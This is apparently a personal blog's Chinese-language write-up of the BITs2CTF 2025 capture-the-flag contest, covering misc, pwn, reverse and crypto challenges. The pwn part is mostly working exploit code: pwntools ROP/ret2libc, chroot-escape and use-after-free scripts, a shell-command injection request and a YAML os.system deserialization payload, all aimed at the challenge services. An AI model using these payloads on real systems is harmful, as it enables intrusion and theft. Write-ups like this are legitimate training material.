index | ~dongdigua

BITs2CTF 2025 Writeup

$Id: wp_bits2ctf_2025.org,v 25.7 2025/11/25 18:19:36 dongdigua Exp $

1. misc

1.1. 签到

即得易见平凡,仿照上例显然。

1.2. GCC偷走了重要的函数!

题目用 tree-sitter 禁了函数声明

def check(code: str):
    parser = Parser(C_LANGUAGE)
    tree = parser.parse(code.encode())
    function_node = tree.root_node.children[0]

    if "/dev" in code:
        err("What do you want to do?")
        exit(1)

    if function_node.type == "declaration":
        if function_node.children[1].type == "function_declarator":
            fail_exit()
    elif function_node.type == "function_definition":
        fail_exit()

    ok("[Check Passed]".center(50, '-'))

这才算个啥,比 jailCTF 那道差远了

__asm__(".global main; main: mov $1, %rax; mov $1, %rdi; lea message(%rip), %rsi; mov $12, %rdx; syscall; mov $60, %rax; xor %rdi, %rdi; syscall; .section .rodata; message: .asciz \"Hello World\\n\";");

1.3. Rust,启动!

cargo new genshin

本来以为还得像 GeekGame 2025 那样拿 bisect 爆破,其实直接

const _: () = {
    compile_error!(include_str!("../../../flag"));
};
fn main() {}

1.4. Yaml笑传之CCB

!!python/object/apply:os.system ["cat ../flag"]

1.5. 玄机在哪

UU? 什么UU

  1. https://www.spammimic.com/decode.cgi

    ~呜嗷嗷嗷嗷呜呜啊嗷嗷呜嗷呜呜啊呜呜嗷啊嗷啊呜~嗷嗷呜~嗷~呜嗷啊嗷嗷嗷嗷嗷呜呜啊啊嗷呜嗷呜呜啊呜嗷~啊嗷啊呜~啊嗷呜~嗷~呜嗷呜呜嗷嗷嗷嗷呜呜呜嗷啊呜嗷呜呜啊呜嗷呜啊嗷啊呜~呜嗷啊~嗷~呜嗷嗷~嗷嗷嗷嗷呜呜呜嗷啊呜嗷呜呜啊呜嗷嗷啊嗷啊呜~啊嗷呜~嗷~呜嗷~嗷嗷嗷嗷嗷呜呜啊呜嗷呜嗷呜呜啊呜嗷嗷啊嗷啊呜~~~啊~嗷~呜嗷啊啊嗷嗷嗷嗷呜呜嗷呜呜呜嗷呜呜啊呜啊呜啊嗷啊呜~呜嗷嗷~嗷~呜嗷呜嗷嗷嗷嗷嗷呜呜~呜啊呜嗷呜呜啊嗷嗷~啊嗷啊呜~啊~~~嗷~呜嗷嗷~嗷嗷嗷嗷呜呜呜呜~呜嗷呜呜啊呜啊嗷啊嗷啊呜~啊嗷啊~嗷~呜嗷啊~嗷嗷嗷嗷呜呜嗷呜呜呜嗷呜呜啊呜嗷呜啊嗷啊呜~呜嗷啊~嗷~呜嗷呜嗷嗷嗷嗷嗷呜呜呜嗷啊呜嗷呜呜啊呜嗷呜啊嗷啊呜~嗷~~~嗷~呜嗷嗷呜嗷嗷嗷嗷呜呜~啊呜呜嗷呜呜啊呜啊嗷啊嗷啊呜~呜嗷嗷~嗷~呜嗷~~嗷嗷嗷嗷呜呜呜啊嗷呜嗷呜呜啊呜嗷啊啊嗷啊呜~啊~~~嗷~呜嗷~嗷嗷嗷嗷嗷呜呜啊~嗷呜嗷呜呜啊呜嗷啊啊嗷啊呜~呜嗷呜~嗷~呜嗷啊呜嗷嗷嗷嗷呜呜呜呜~呜嗷呜呜啊呜啊嗷啊嗷啊呜~呜~~~嗷~呜嗷呜嗷嗷嗷嗷嗷呜呜呜嗷啊呜嗷呜呜啊呜啊~啊嗷啊呜~嗷~~~嗷~呜嗷~~嗷嗷嗷嗷呜呜~呜~呜嗷呜呜呜啊嗷呜啊嗷啊呜~嗷嗷啊~嗷~呜嗷呜嗷嗷嗷嗷嗷呜呜呜啊呜呜嗷呜呜啊~嗷嗷啊嗷啊呜~~~~~嗷~呜嗷呜啊呜嗷嗷嗷呜呜呜呜~呜嗷呜呜啊嗷~嗷啊嗷啊呜~嗷呜~~嗷~呜嗷呜~啊嗷嗷嗷呜呜呜嗷~呜嗷呜呜~嗷呜~啊嗷啊呜嗷嗷啊~啊
    
  2. https://roar.iiilab.com

    M=&AE<F5?:7-?9FQA9SI"251S,D-41GM":71?:$%V15]5;DQI;6E4141?4$]T
    '16YT:4%,?0``
    
  3. uudecode (M 开头 ` 结尾太明显了)

    begin 644 flag
    M=&AE<F5?:7-?9FQA9SI"251S,D-41GM":71?:$%V15]5;DQI;6E4141?4$]T
    '16YT:4%,?0`
    `
    end
    there_is_flag:BITs2CTF{Bit_hAvE_UnLimiTED_POtEntiAL}
    

2. pwn

2.1. 签顺道

f8fqgfm
留作习题答略,读者自证不难。

2.2. 和溢位?

overflow 中有一个和溢位

if ( nbytes + v2[0] > 31 )
{
  printf(a0135m0m0137m_0);
  exit(1);
}

下有俩 read

read(0, buf, nbytes);
printf(a0134m0m_0, buf);
read(0, buf, v2[0]);
printf(a0131m0m_4);
return v4 - __readfsqword(0x28u);

我本来想第一个 read 泄露 canary,第二个搞 ROP,结果发现无论如何设置两个 size,都有一个 read 由于 size 过大无法读。
结果发现 __stack_chk_fail 是个假的, 壑溢卫!

那就好办了,直接泄露 PIE 基质,然后 ret2libc
(着急 exp 写得有点乱)

#!/usr/bin/python
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug', terminal='foot')

#gdb.attach(io)

leak = lambda s: (p := u64(io.recvline()[:-1].ljust(8,b'\0')), log.success('%s: 0x%x' % (s, p)))[0]

i=5
context.log_level='info'
print(i)
filename = './pwn'
elf = ELF(filename)
io = remote('127.0.0.1', 34387)
#io = process(filename)

gadget = 0x0002A8
calloverflow = 0x005BF
callputs = 0x00355

io.recvuntil('> ')
io.sendline(f'{56+2}')
io.recvuntil('> ')
io.sendline(f'{2**64-40}')
io.recvuntil('> ')
io.send(cyclic(56)+p16((calloverflow & 0xfff) + (i<<12)))

#io.interactive()

sleep(1)
io.recvuntil(cyclic(56))
pie_high = u64(io.recv(6).ljust(8, b'\0')) & 0xfffffffff000
print(hex(pie_high))

sleep(1)

io.recvuntil('> ')
io.sendline(f'{56+40}')
io.recvuntil('> ')
io.sendline(f'{2**64-56-40}')
io.recvuntil('> ')

sleep(1)
io.send(cyclic(56)+p64(pie_high+gadget)+p64((pie_high & 0xffffffff0000) + 0x7f88)+p64(pie_high+0x01a) # ret
        +p64(pie_high+0x100) # got of puts
        +p64(pie_high+calloverflow))

sleep(1)
io.recvuntil('卫!')
io.recvline()
io.recvuntil('\x1b[0m')
puts = leak('puts')
libc_base = puts - elf.libc.symbols['puts']
system = libc_base + elf.libc.symbols['system']
binsh = libc_base +0x00000000001cb42f

sleep(1)
io.recvuntil('> ')
io.sendline(f'{56+32}')
io.recvuntil('> ')
io.sendline(f'{2**64-56-16}')
io.recvuntil('> ')

sleep(1)
#ogs = [0x583ec, 0x583f3, 0xef4ce, 0xef52b]
#gdb.attach(io)
io.send(cyclic(56)+p64(pie_high+gadget)+p64(binsh)+p64(pie_high+0x01a)+p64(system))

io.interactive()

当然最后有 1/16 概率成功

2.3. 三剑齐出,引爆BIT“人工智能年”!!!

好一个 IoT,简单的命令注入

__int64 __fastcall setIbitName(int a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
  doSystemCmd((unsigned int)"echo %s > ./name", a1, (unsigned int)"echo %s > ./name", a4, a5, a6);
  return 0;
}
GET /setIbitName?$(cat</flag)
GET /getIbitName

2.4. 🥷忍术🥷「我设了一个笼」

还不是传统 seccomp 沙箱,是 chroot。
注意到有一个 fd 没释放

int banner()
{
  int fd; // [rsp+8h] [rbp-18h]
  int st_size; // [rsp+Ch] [rbp-14h]
  struct stat *buf; // [rsp+10h] [rbp-10h]
  char *s; // [rsp+18h] [rbp-8h]

  if ( open("./", 0) < 0 )                      // 3
    exit(1);
  puts("\x1B[01;36m        |===================|\x1B[01;33m      ~*~*~*~\x1B[01;36m");
  puts(asc_2058);
  puts("        |===================|================|");
  puts(asc_20C8);
  puts("                      |======================|");
  puts("                                /\x1B[0m");
  fd = open("./banner.logo", 0);

然后 cmd_cat 里面有个 sprintf 可以越界写 cwd

__int64 __fastcall cmd_cat(char *a1)
{
  int fd; // [rsp+14h] [rbp-3Ch]
  off_t offset; // [rsp+18h] [rbp-38h] BYREF
  size_t count; // [rsp+20h] [rbp-30h]
  void *ptr; // [rsp+28h] [rbp-28h]
  size_t size; // [rsp+30h] [rbp-20h]
  struct stat *buf; // [rsp+38h] [rbp-18h]
  void *v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  if ( !a1 )
    return 1;
  ptr = strdup(a1);
  sprintf(a1, "./%s", (const char *)ptr);
#!/usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal='foot')

filename = './jail'
#filename = './jail.bak'
#elf = ELF(filename)
io = remote('127.0.0.1', 41081)
#io = process(filename)

leak = lambda s: (p := u64(io.recvline()[:-1].ljust(8,b'\0')), log.success('%s: 0x%x' % (s, p)))[0]

#gdb.attach(io)
io.recv()
io.sendline(b'cat '+cyclic(506)+p8(3))
io.recv()
io.sendline(b'cat ./../../../../../../../flag')

io.interactive()

有 chroot 不好调试,可以先把 chroot patch 掉再调,

2.5. 🥷忍术🥷「吓我一跳我释放堆块」

真“菜单”堆。
上来发现每 3 秒会返回主菜单,果断 patch 掉先。
结果发现没思路,扔给 Chat 老师,结果正是 alarm handler 造成 UAF。

void __noreturn handle()
{
  int v0; // eax

  putchar(10);
  printf(format);
  v0 = rand();
  printf(a0133m0m0136m, *(&escape + v0 % 3));
  free(user);
  siglongjmp(jbuf, 1);
}
int login()
{
  _QWORD *v0; // rbx
  int *v1; // rax
  char *v2; // rax
  char *v4; // [rsp+8h] [rbp-18h]

  v0 = user;
  v0[1] = malloc(0x100u);
  printf(...);
  v4 = fgets(*((char **)user + 1), 256, stdin);

最终是要把 user[0] 设为 1

unsigned __int64 menu()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf(...);
  __isoc23_scanf("%d%*c", &v1);
  if ( v1 == 4 )
  {
    if ( *(_DWORD *)user == 1 )
    {
      printf(...);
      system("/bin/sh");
    }

所以在菜单里分配个 16 大小的块就行

#!/usr/bin/python
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug', terminal='foot')

filename = './pwn'
elf = ELF(filename)
io = remote('127.0.0.1', 34757)
#io = process(filename)

leak = lambda s: (p := u64(io.recvline()[:-1].ljust(8,b'\0')), log.success('%s: 0x%x' % (s, p)))[0]

io.sendlineafter('姓名', 'aaa')
sleep(4)
io.sendlineafter('姓名', 'aaa')
io.sendlineafter('?!', '1')
io.sendlineafter('长度', '16')
io.sendline(p64(1))
#gdb.attach(io)

io.sendlineafter('?!', '4') # run!
io.sendline('cat /flag')

io.interactive()

2.6. 🥷忍术🥷「写死你 • 内核原语」

干出非预期了

3. Reverse

最后时间懒得看了,直接GPT 一把梭

3.1. ChaCha20

https://chatgpt.com/share/69225dbe-602c-800e-9699-c2f83df2dce6

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
from Crypto.Util.number import long_to_bytes
import binascii

k1 = 89156737880809474145449532029493055444849328922741582677584755390029529653680
n1 = 20979402206073728478533457085044507592
ciphertext = bytes.fromhex("a8c123f27ed9d34a6040a98f0b9d5e22930ca34bd3195e27a1e73725aba2f3eff888")

def chacha20_decrypt(ciphertext, key, nonce):
    cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None, backend=default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)

for seed in range(100):
    import random
    random.seed(seed)
    k2_guess = random.getrandbits(128)
    n2_guess = random.getrandbits(64)
    key_guess = long_to_bytes(k1 ^ k2_guess)
    nonce_guess = long_to_bytes(n1 ^ n2_guess)

    try:
        plaintext = chacha20_decrypt(ciphertext, key_guess, nonce_guess)
        if b"BIT" in plaintext:
            print("Seed:", seed)
            print("Flag:", plaintext)
            break
    except:
        pass

3.2. 奶龙与小七之大战Web Assembly

https://chatgpt.com/share/69225dfa-c7c0-800e-bb82-0aa88cdccb23

enc = [75,66,89,124,51,64,81,65,98,76,46,46,32,76,113,39,71,24,12,112,120,19,80,0,79,8,98,10,68,80,86,4,124,126,43,58,112,114,60,24,61,104,59,108,101,100,102,51,54,92,5,92,62,91,81,87,65,79,77,78,65,29,67,40,189,229,233,208,233,178,176,216,206,175,168,242,236]
def g(i): return ((i<<1)+1) & 0xFFFFFFFF
flag = ''.join(chr((c ^ (g(i) ^ 8)) & 0xFF) for i,c in enumerate(enc))
print(flag)

3.3. math

https://chatgpt.com/share/69225e41-752c-800e-8f11-388bca51bfd3

from z3 import *

# ---------------------------
# Implement bit-accurate fun1
# ---------------------------
def fun1(a1, a2):
    res = BitVecVal(0, 64)
    carry = BitVecVal(0, 1)       # 1-bit carry

    t1 = a1
    t2 = a2
    pos = 0

    while pos < 64:
        b1 = Extract(0, 0, t1)
        b2 = Extract(0, 0, t2)

        # sum bit
        sum_bit = b1 ^ b2 ^ carry
        res = res | (ZeroExt(63, sum_bit) << pos)

        # next carry
        carry = (b1 & b2) | (b1 & carry) | (b2 & carry)

        t1 = LShR(t1, 1)
        t2 = LShR(t2, 1)
        pos += 1

    return res



# -------------------------
# fun2 = fun1(a1, -a2)
# -------------------------
def fun2(a1, a2):
    return fun1(a1, -a2)


# -------------------------
# fun3: shift-add multiplier
# -------------------------
def fun3(a1, a2):
    acc = BitVecVal(0, 32)
    shift = 0
    t1 = a1
    while shift < 32:
        b = Extract(0, 0, t1)
        acc = If(b == 1, acc + (a2 << shift), acc)
        t1 = LShR(t1, 1)
        shift += 1
    return acc


# -------------------------
# fun4: XOR combine
# -------------------------
def fun4(a1, a2):
    res = BitVecVal(0, 32)
    shift = 0
    t1 = a1
    t2 = a2
    while shift < 32:
        b1 = Extract(0, 0, t1)
        b2 = Extract(0, 0, t2)
        bit = b1 ^ b2
        res = res + (ZeroExt(31, bit) << shift)
        t1 = LShR(t1, 1)
        t2 = LShR(t2, 1)
        shift += 1
    return res


# solver
s = Solver()

# six variables
a, b, c, d, e, f = [BitVec(x, 32) for x in "abcdef"]

# bounds
for v in [a, b, c, d, e, f]:
    s.add(v > 0x186A0, v <= 0xF423F)

# expressions from judge()
v1 = Extract(31, 0, fun1(a, b)) % 0xE8329
t1 = Extract(31, 0, fun2(a, b))
t2 = fun3(BitVecVal(2, 32), c)
v2 = Extract(31, 0, fun1(t1, t2))

t3 = fun3(BitVecVal(4, 32), f)
v3 = fun4(t3, d)

t4 = Extract(31, 0, fun2(d, e))
v4 = fun3(BitVecVal(5, 32), t4)

v5 = Extract(31, 0, fun1(a, f))

t5 = fun3(BitVecVal(3, 32), d)
v6 = Extract(31, 0, fun2(t5, t4))

# constraints
s.add(v1 == 597141)
s.add(v2 == 1644082)
s.add(v3 == 1161537)
s.add(v4 == 343890)
s.add(v5 == 1136538)
s.add(v6 == 1952901)

# solve
if s.check() == sat:
    m = s.model()
    aa = m[a].as_long()
    bb = m[b].as_long()
    cc = m[c].as_long()
    dd = m[d].as_long()
    ee = m[e].as_long()
    ff = m[f].as_long()
    print("Solution:")
    print(aa, bb, cc, dd, ee, ff)
    print(f"BITs2CTF{{{aa:x}{bb:x}{cc:x}{dd:x}{ee:x}{ff:x}}}")
else:
    print("No solution.")

3.4. 奶龙与小七之真假奶龙

https://chatgpt.com/share/69225ea4-4588-800e-b651-5ee4d7632a40

r1_0 = [
  125,158,51,84,54,171,51,146,56,134,50,51,51,54,132,227,54,149,53,167,
  54,149,270,51,51,54,53,167,262,379,50,171,266,48,54,158,48,143,51,164,
  50,54,51,139,234,50,48,143,243,53,171,50,164,276,371,53,171,210,327,50,
  139,234,267,53,163,50,150,245,51,51,53,140,263,333,417,484,52,167,251,
  324,390
]

rev = []

for i in range(len(r1_0)):
    out = r1_0[i]

    if 48 <= out <= 56:
        # 数字映射
        digit = (out - 48 - 2) % 9
        ch = chr(digit + 48)
    else:
        if i == 0:
            ch = chr(out)
        else:
            ch = chr(out - r1_0[i-1])
    rev.append(ch)

original = "".join(rev[::-1])
print(original)

4. Crypto

4.1. Are you crazy

完全没学过 Crypto,全靠 GPT
https://chatgpt.com/share/69225d6b-71d0-800e-8d71-731ba592ac78

R = 写不下了
n = 2153179220869251023119572723180893711902645543152637943731734701294568162332409526547996305090240667907334961025514382934065876606376618750038150094358541372188694190350714711523686453320118845117227539430920961283892972668117594228344832968048255997244818795608607758249123769021706854181505936911005280767282890268494390945078934647221175427617822336646462689419497083724506050216393405677498453982351514753862597822248926437262535770909268839548812176912975696611062177634403576792094582538064653922499584210273989938950794181333050794855061474412683743337126198677496862701564497304939379750537552774385914956157
c = 1768224457502977610551256076456857771629964531628501905305370101879058278252190110067876223549492461081095503746412750727182554282895596593644215216118808465719980601801526582553698142437810224965723180333975440132848820891258535807732872322967204922341709633067759328523431984378014075161251353495191269984223084018879422438636504205031167179346391806027083729410706297199819234758308339991791803430374715952151062387735191350236379020840925968702794705833862406547573427528448698620317504919735905571259861657187542687328722951276501089823353045585511213838857387238345639926727847467959806415734820088418877027093

#!/usr/bin/env python3
# Requires Python 3.8+
from Crypto.Util.number import long_to_bytes, inverse
import hashlib
import math
import sys
from functools import reduce
from math import gcd

n_pub = n            # the printed n

# ---------- helper functions ----------
def parity(x):
    return bin(x).count('1') & 1

def vinad_equivalent_value_from_R(R):
    # compute bitstring bits_i = parity(r_i) for each r_i
    bits = ''.join(str(parity(r)) for r in R)
    p0 = int(bits, 2)
    nb = len(bits)
    mask = (1 << nb) - 1
    p1 = p0 ^ mask
    return p0, p1, mask

def try_factor_n_by_vinad(n_pub, p0, p1):
    if n_pub % p0 == 0:
        return p0
    if n_pub % p1 == 0:
        return p1
    return None

def pollard_p_minus_one(n, B=2000000):
    # simple Pollard p-1: try increasing smoothness bound until a factor found
    a = 2
    for j in range(2, B):
        a = pow(a, j, n)
        g = math.gcd(a-1, n)
        if 1 < g < n:
            return g
    return None

# ---------- exploit ----------
def main():
    global R, n_pub, c
    if R == [...] or n_pub == 0 or c == 0:
        print("Please fill R, n_pub, and c with the values printed by the challenge.")
        sys.exit(1)

    print("[*] computing vinad candidates from R...")
    p0, p1, mask = vinad_equivalent_value_from_R(R)
    print(f"    p0 bitlen = {p0.bit_length()}, p1 bitlen = {p1.bit_length()}")

    print("[*] checking which candidate divides n...")
    p = try_factor_n_by_vinad(n_pub, p0, p1)
    if p is None:
        print("[-] neither candidate divides n — unexpected. Exiting.")
        sys.exit(1)
    q = n_pub // p
    print(f"[+] found p (RSA prime): {p}")
    print(f"[+] found q (RSA prime): {q}")

    phi = (p - 1) * (q - 1)

    # e must be either p0 or p1 as well (vinad(r + 0x10001, R) is either p0 or p1)
    print("[*] trying both e candidates...")
    e_candidates = [p0, p1]
    d = None
    chosen_e = None
    for e_try in e_candidates:
        if gcd(e_try, phi) == 1:
            try:
                d_try = inverse(e_try, phi)
                d = d_try
                chosen_e = e_try
                break
            except Exception:
                continue
    if d is None:
        print("[-] failed to invert any e candidate. Exiting.")
        sys.exit(1)
    print(f"[+] chosen e = {chosen_e}")
    print("[*] computing m_plus_S = c^d mod n ...")
    m_plus_S = pow(c, d, n_pub)

    S = sum(R)
    m = m_plus_S - S
    if m <= 0:
        print("[-] recovered m non-positive. Maybe modular wrap occurred; try adding/subtracting multiples of n.")
        # try modulo n adjustments:
        for k in range(0,5):
            cand = (m_plus_S + k * n_pub) - S
            if cand > 0:
                m = cand
                print("[*] adjusted m found with k =", k)
                break
        else:
            sys.exit(1)

    print(f"[+] recovered m (bitlen={m.bit_length()})")

    # Factor m with Pollard p-1 (works because m1-1 is smooth)
    print("[*] factoring m with Pollard p-1 (might take a short while)...")
    factor = pollard_p_minus_one(m, B=2000000)
    if factor is None:
        print("[-] pollard p-1 failed with current bound. Try increasing B.")
        sys.exit(1)
    m1 = factor
    m2 = m // m1
    print(f"[+] factors found: m1 = {m1} (bitlen {m1.bit_length()}), m2 = {m2}")

    # convert to bytes and compute md5 digests
    m1_bytes = long_to_bytes(m1)
    m2_bytes = long_to_bytes(m2)
    md5_m1 = hashlib.md5(m1_bytes).hexdigest()
    md5_m2 = hashlib.md5(m2_bytes).hexdigest()
    flag = f"BITs2CTF{{{md5_m1}<*_*>{md5_m2}}}"
    print("[+] FLAG =", flag)

if __name__ == "__main__":
    main()

dongdigua CC BY-NC-SA 禁止转载到私域(公众号,非自己托管的博客等)

Email me to add comment

Proudly made with Emacs Org mode

Date: 2025-11-22 Sat 00:00 Size: 60K (≈ 9.0958 mg CO2e)